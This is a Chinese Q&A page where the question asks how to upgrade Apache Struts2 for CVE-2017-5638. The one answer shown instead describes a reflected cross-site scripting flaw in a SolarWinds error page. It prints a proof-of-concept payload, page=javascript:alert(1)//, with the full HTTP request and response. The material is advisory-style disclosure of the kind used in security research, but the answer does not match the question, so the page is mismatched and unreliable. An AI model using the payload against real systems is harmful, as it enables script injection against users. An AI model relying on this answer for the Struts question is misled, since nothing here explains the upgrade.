当前位置：首页 - 正文

apache struts2 cve-2017-5638 怎么升级

发布网友发布时间：2022-04-10 18:04

我来回答

共2个回答

懂视网时间：2022-04-10 22:25

漏洞

在SolarWinds的11.1.457版中，“idcStateError.iwc”错误页面中存在Reflected Cross-Site Scripting漏洞，已经在版本12.1中修复。低于11.1.457的版本还可能存在这个漏洞，

具体细节

以下HTTP请求和响应显示了如何触发问题以及结果：

http://192.168.1.101:8123/iwc/idcStateError.iwc?page=javascript%3aalert(1)%2f%2f

请求：

GET /iwc/idcStateError.iwc?page=javascript%3aalert(1)%2f%2f HTTP/1.1
Host: 172.16.4.104:8123
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Connection: close
Cache-Control: max-age=0
Referer: http://172.16.4.104:8123/iwc/login.iwc
Cookie: JSESSIONID=112A2A7B2EA72FA03B4157A557CE93D9

回显：

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Date: Mon, 19 Nov 2018 18:46:00 GMT
Connection: close
Content-Length: 6531

[...]
<a href="javascript:alert(1)//" class="btn btn-primary">
[...]

技术图片